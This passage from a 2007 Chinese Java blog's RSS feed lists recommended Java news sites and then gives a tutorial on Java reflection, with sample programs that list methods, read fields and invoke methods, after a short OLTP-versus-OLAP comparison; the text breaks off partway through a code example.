GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143438.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143438.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143438.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143438.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143438.html</trackback:ping><description><![CDATA[<p>1.<a href="http://www.theserverside.com/">TheServerside.com</a>&nbsp;&nbsp; 依然是地位无可动摇的CCTV1。</p>
<p>2.<a href="http://www.infoq.com/">InfoQ.com</a> Floyd Marinescu 在离开 TSS 后另起炉灶，2006年中最重要推荐。视野不再局限于Java 而是包括Java,.Net, Ruby ,SOA, Agile方法等热门话题。</p>
<p>3.<a href="http://java.sys-con.com/">JDJ的电子杂志</a> 在JDJ首页的最底处订阅，文章质量不低于5-7的传统三强。</p>
<p>4.<a href="http://www.swik.net/">SWik.net</a>&nbsp;&nbsp; 收集了大量OpenSource Project的资源聚合。其中如Spring，Hibernate的更新度非常高，出现什么和Spring有关的blog,article,project都会马上被聚合。</p>
<p>5.<a href="http://www-128.ibm.com/developerworks/java/">IBM DeveloperWorks</a> 传统、稳定的Java文章来源地。</p>
<p>6.<a href="http://www.javaworld.com/"><font color="#800080">JavaWorld</font></a> 传统、稳定的Java文章来源地。</p>
<p>7.<a href="http://www.onjava.com/"><font color="#800080">OnJava</font></a>&nbsp;&nbsp; 传统、稳定的Java文章来源地。</p>
<p>8.<a href="http://artima.com/">Artima.com</a> 类似于TSS而略逊，其中<a href="http://www.artima.com/spotlight/">Spotlight </a>文章值得关注，而<a href="http://www.artima.com/news/community.jsp?forum=136">Java News</a>是聚合了所有其他Java站点的大聚合。</p>
<p>9.<a href="http://www.javalobby.org/">JavaLobby</a>&nbsp;&nbsp; 站内的<a href="http://www.javalobby.org/forumRSS/17.xml">Announcements</a> 是大大小小Java&nbsp;&nbsp; Project的发布声明区，<a href="http://www.javalobby.org/forumRSS/18032.xml">Trips and Tricks</a> 有很多的Tips。</p>
<p>10. <a href="http://www.nofluffjuststuff.com/blogs_summary.jsp">No Fluff Just Stuff 的Blogs 聚合</a> 一直缺一个所有优秀Java Blogger的rss总聚合，NFJS这里勉强算一个。</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/143438.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-07 15:46 <a href="http://www.blogjava.net/WshmAndLily/articles/143438.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>反射和代理</title><link>http://www.blogjava.net/WshmAndLily/articles/143433.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 07 Sep 2007 07:36:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143433.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143433.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143433.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143433.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143433.html</trackback:ping><description><![CDATA[<p>一. 关于数据库.<br />
当今的数据处理大致可以分成两大类：联机事务处理OLTP（on-line transaction processing）、联机分析处理OLAP（On-Line Analytical Processing）。OLTP是传统的关系型数据库的主要应用，主要是基本的、日常的事务处理，例如银行交易。OLAP是数据仓库系统的主要应用，支持复杂的分析操作，侧重决策支持，并且提供直观易懂的查询结果。下表列出了OLTP与OLAP之间的比较。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OLTP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OLAP <br />
用户&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 操作人员,低层管理人员&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 决策人员,高级管理人员 <br />
功能&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 日常操作处理&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 分析决策 <br />
DB 设计&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 面向应用&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 面向主题 <br />
数据&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当前的, 最新的细节的, 二维的分立的&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 历史的, 聚集的, 多维的集成的, 统一的 <br />
存取&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 读/写数十条记录&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 读上百万条记录 <br />
工作单位&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 简单的事务&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 复杂的查询 <br />
用户数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上千个&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上百个 <br />
DB 大小&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 100MB-GB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 100GB-TB </p>
<p>二. Java中的类反射： <br />
反射就是把Java类中的各种成分映射成相应的java类.<br />
Reflection 是 Java 程序开发语言的特征之一，它允许运行中的 Java 程序对自身进行检查，或者说&#8220;自审&#8221;，并能直接操作程序的内部属性。</p>
<p>1．检测类： </p>
<p>1.1 reflection的工作机制 </p>
<p>考虑下面这个简单的例子，让我们看看 reflection 是如何工作的。 </p>
<p>import java.lang.reflect.*; <br />
public class DumpMethods { <br />
public static void main(String args[]) { <br />
&nbsp;&nbsp; try { <br />
&nbsp;&nbsp;&nbsp; Class c = Class.forName(args[0]); <br />
&nbsp;&nbsp;&nbsp; Method m[] = c.getDeclaredMethods(); <br />
&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; m.length; i++) <br />
&nbsp;&nbsp;&nbsp; System.out.println(m[i].toString()); <br />
&nbsp;&nbsp; } <br />
&nbsp;&nbsp; catch (Throwable e) { <br />
&nbsp;&nbsp;&nbsp; System.err.println(e); <br />
&nbsp;&nbsp; } <br />
} <br />
} </p>
<p>按如下语句执行： </p>
<p>java DumpMethods java.util.Stack </p>
<p>它的结果输出为： </p>
<p>public java.lang.Object java.util.Stack.push(java.lang.Object) </p>
<p>public synchronized java.lang.Object java.util.Stack.pop() </p>
<p>public synchronized java.lang.Object java.util.Stack.peek() </p>
<p>public boolean java.util.Stack.empty() </p>
<p>public synchronized int java.util.Stack.search(java.lang.Object) </p>
<p>这样就列出了java.util.Stack 类的各方法名以及它们的限制符和返回类型。 </p>
<p>这个程序使用 Class.forName 载入指定的类，然后调用 getDeclaredMethods 来获取这个类中定义了的方法列表。java.lang.reflect.Methods 是用来描述某个类中单个方法的一个类。 </p>
<p>1.2 Java类反射中的主要方法 </p>
<p>对于以下三类组件中的任何一类来说 -- 构造函数、字段和方法 -- java.lang.Class 提供四种独立的反射调用，以不同的方式来获得信息。调用都遵循一种标准格式。以下是用于查找构造函数的一组反射调用： </p>
<p>Constructor getConstructor(Class[] params) -- 获得使用特殊的参数类型的公共构造函数， </p>
<p>Constructor[] getConstructors() -- 获得类的所有公共构造函数 </p>
<p>Constructor getDeclaredConstructor(Class[] params) -- 获得使用特定参数类型的构造函数(与接入级别无关) </p>
<p>Constructor[] getDeclaredConstructors() -- 获得类的所有构造函数(与接入级别无关) </p>
<p>获得字段信息的Class 反射调用不同于那些用于接入构造函数的调用，在参数类型数组中使用了字段名： </p>
<p>Field getField(String name) -- 获得命名的公共字段 </p>
<p>Field[] getFields() -- 获得类的所有公共字段 </p>
<p>Field getDeclaredField(String name) -- 获得类声明的命名的字段 </p>
<p>Field[] getDeclaredFields() -- 获得类声明的所有字段 </p>
<p>用于获得方法信息函数： </p>
<p>Method getMethod(String name, Class[] params) -- 使用特定的参数类型，获得命名的公共方法 </p>
<p>Method[] getMethods() -- 获得类的所有公共方法 </p>
<p>Method getDeclaredMethod(String name, Class[] params) -- 使用特写的参数类型，获得类声明的命名的方法 </p>
<p>Method[] getDeclaredMethods() -- 获得类声明的所有方法 </p>
<p><br />
1.3开始使用 Reflection： </p>
<p>用于 reflection 的类，如 Method，可以在 java.lang.relfect 包中找到。使用这些类的时候必须要遵循三个步骤：第一步是获得你想操作的类的 java.lang.Class 对象。在运行中的 Java 程序中，用 java.lang.Class 类来描述类和接口等。 </p>
<p>下面就是获得一个 Class 对象的方法之一： </p>
<p>Class c = Class.forName("java.lang.String"); </p>
<p>这条语句得到一个 String 类的类对象。还有另一种方法，如下面的语句： </p>
<p>Class c = int.class; </p>
<p>或者 </p>
<p>Class c = Integer.TYPE; </p>
<p>它们可获得基本类型的类信息。其中后一种方法中访问的是基本类型的封装类 (如 Integer) 中预先定义好的 TYPE 字段。 </p>
<p>第二步是调用诸如 getDeclaredMethods 的方法，以取得该类中定义的所有方法的列表。 </p>
<p>一旦取得这个信息，就可以进行第三步了——使用 reflection API 来操作这些信息，如下面这段代码： </p>
<p>Class c = Class.forName("java.lang.String"); </p>
<p>Method m[] = c.getDeclaredMethods(); </p>
<p>System.out.println(m[0].toString()); </p>
<p>它将以文本方式打印出 String 中定义的第一个方法的原型。 </p>
<p>2．处理对象： </p>
<p>如果要作一个开发工具像debugger之类的，你必须能发现filed values,以下是三个步骤: </p>
<p>a.创建一个Class对象 <br />
b.通过getField 创建一个Field对象 <br />
c.调用Field.getXXX(Object)方法(XXX是Int,Float等，如果是对象就省略；Object是指实例). </p>
<p>例如： <br />
import java.lang.reflect.*; <br />
import java.awt.*; </p>
<p>class SampleGet {&nbsp;&nbsp;<br />
public static void main(String[] args) { <br />
&nbsp;&nbsp; Rectangle r = new Rectangle(100, 325); <br />
&nbsp;&nbsp; printHeight(r);&nbsp;&nbsp;<br />
} <br />
<br />
static void printHeight(Rectangle r) { <br />
&nbsp;&nbsp; Field heightField; <br />
&nbsp;&nbsp; Integer heightValue; <br />
&nbsp;&nbsp; Class c = r.getClass(); <br />
&nbsp;&nbsp; try { <br />
&nbsp;&nbsp;&nbsp; heightField = c.getField("height"); <br />
&nbsp;&nbsp;&nbsp; heightValue = (Integer) heightField.get(r); <br />
&nbsp;&nbsp;&nbsp; System.out.println("Height: " + heightValue.toString()); <br />
&nbsp;&nbsp; } catch (NoSuchFieldException e) { <br />
&nbsp;&nbsp;&nbsp; System.out.println(e); <br />
&nbsp;&nbsp; } catch (SecurityException e) { <br />
&nbsp;&nbsp;&nbsp; System.out.println(e); <br />
&nbsp;&nbsp; } catch (IllegalAccessException e) { <br />
&nbsp;&nbsp;&nbsp; System.out.println(e); <br />
&nbsp;&nbsp; } <br />
} <br />
} </p>
<p>顾名思义，反射 (reflection) 机制就像是在吴承恩所写的西游记中所提及的「照妖镜」，可以让类别或对象 (object) 在执行时期「现出原形」。我们可以利用反射机制来深入了解某类(class) 的构造函数 (constructor)、方法 (method)、字段 (field)，甚至可以改变字段的值、呼叫方法、建立新的对象。有了反射机制，程序员即使对所想使用的类别所知不多，也能照样写程序。反射机制能够用来呼叫方法，这正是反射机制能够取代函数指针的原因。</p>
<p>以 Java 来说，java.lang.reflect.Method (以下简称 Method) 类别是用来表示某类别的某方法。我们可以透过 java.lang.Class (以下简称 Class) 类别的许多方法来取得 Method 对象。Method 类别提供 invoke() 方法，透过 invoke()，此 Method 对象所表示的方法可以被呼叫，所有的参数则是被组织成一个数组，以方便传入 invoke()。</p>
<p>举个例子，下面是一个名为 Invoke 的程序，它会将命令列的 Java 类别名称和要呼叫的方法名称作为参数。为了简单起见，我假定此方法是静态的，且没有参数：</p>
<p>import java.lang.reflect.*;<br />
class Invoke {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
public static void main(String[] args ) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; try {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; Class c = Class.forName( args[0] );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; Method m = c.getMethod( args[1], new Class [] { } );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; Object ret = m.invoke( null, null );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; System.out.println(args[0] + "." + args[1] +"() = " + ret );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; } catch ( ClassNotFoundException ex ) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; System.out.println("找不到此类别");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; } catch (NoSuchMethodException ex ) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; System.out.println("此方法不存在");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; } catch (IllegalAccessException ex ) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; System.out.println("没有权限调用此方法");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; } catch (InvocationTargetException ex ) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; System.out.println("调用此方法时发生下列例外:\n" + ex.getTargetException() );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
}<br />
}<br />
我们可以执行 Invoke 来取得系统的时间：</p>
<p>java Invoke java.lang.System CurrentTimeMillis执行的结果如下所示：</p>
<p>java.lang.System.currentTimeMillis() = 1049551169474我们的第一步就是用名称去寻找指定的 Class。我们用类别名称 (命令列的第一个参数) 去呼叫 forName() 方法，然后用方法名称 (命令列的第二个参数) 去取得方法。getMethod() 方法有两个参数：第一个是方法名称 (命令列的第二个参数)，第二个是 Class 对象的数组，这个阵例指明了方法的 signature (任何方法都可能会被多载，所以必须指定 signature 来分辨。) 因为我们的简单程序只呼叫没有参数的方法，我们建立一个 Class 对象的匿名空数组。如果我们想要呼叫有参数的方法，我们可以传递一个类别数组，数组的内容是各个类别的型态，依顺序排列。</p>
<p>一旦我们有了 Method 对象，就呼叫它的 invoke() 方法，这会造成我们的目标方法被调用，并且将结果以 Object 对象传回。如果要对此对象做其它额外的事，你必须将它转型为更精确的型态。</p>
<p>invoke() 方法的第一个参数就是我们想要呼叫目标方法的对象，如果该方法是静态的，就没有对象，所以我们把第一个参数设为 null，这就是我们范例中的情形。第二个参数是要传给目标方法作为参数的对象数组，它们的型态要符合呼叫 getMethod() 方法中所指定的型态。因为我们呼叫的方法没有参数，所以我们传递 null 作为 invoke() 的第二个参数。</p>
<p><br />
import&nbsp;&nbsp; java.lang.reflect.Constructor;<br />
import&nbsp;&nbsp; java.lang.reflect.Field;<br />
import&nbsp;&nbsp; java.lang.reflect.Method;<br />
import&nbsp;&nbsp; java.lang.reflect.Modifier;<br />
import&nbsp;&nbsp; java.util.HashMap;</p>
<p>public&nbsp;&nbsp;&nbsp; class&nbsp;&nbsp; TestRef&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp;&nbsp; static&nbsp;&nbsp;&nbsp; void&nbsp;&nbsp; main(String[] args)&nbsp;&nbsp; throws&nbsp;&nbsp; Exception&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TestRef testRef&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; new&nbsp;&nbsp; TestRef();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Class clazz&nbsp;&nbsp; =&nbsp;&nbsp; TestRef. class ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " getPackage() =&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; +&nbsp;&nbsp; clazz.getPackage().getName());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; getModifiers()的返回值可以包含类的种类信息。比如是否为public,abstract,static <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp; mod&nbsp;&nbsp; =&nbsp;&nbsp; clazz.getModifiers();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " Modifier.isAbstract(mod) =&nbsp;&nbsp; " + Modifier.isAbstract(mod));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " getName() =&nbsp;&nbsp; " + clazz.getName());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " getSuperclass() =&nbsp;&nbsp; " + clazz.getSuperclass().getName());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " getInterfaces() =&nbsp;&nbsp; " + clazz.getInterfaces()); // 实现了哪些Interface <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " clazz.getDeclaredClasses() =&nbsp;&nbsp; " + clazz.getDeclaredClasses()); // 包含哪些内部类 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " getDeclaringClass() =&nbsp;&nbsp; " + clazz.getDeclaringClass()); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 如果clazz是inner class 那么返回其outer class <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " ---------- " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Constructor[] constructor&nbsp;&nbsp; =&nbsp;&nbsp; clazz.getDeclaredConstructors(); // 返回一组构造函数 Constructor[] <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if&nbsp;&nbsp; (constructor&nbsp;&nbsp; !=&nbsp;&nbsp;&nbsp; null )&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp; ( int&nbsp;&nbsp; i&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; 0 ; i&nbsp;&nbsp; &lt;&nbsp;&nbsp; constructor.length; i ++ )&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(constructor[i].getName());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " ---------- " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Method[] method&nbsp;&nbsp; =&nbsp;&nbsp; clazz.getDeclaredMethods();&nbsp;&nbsp; //&nbsp;&nbsp; Method[] <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if&nbsp;&nbsp; (method&nbsp;&nbsp; !=&nbsp;&nbsp;&nbsp; null )&nbsp;&nbsp; {<br />
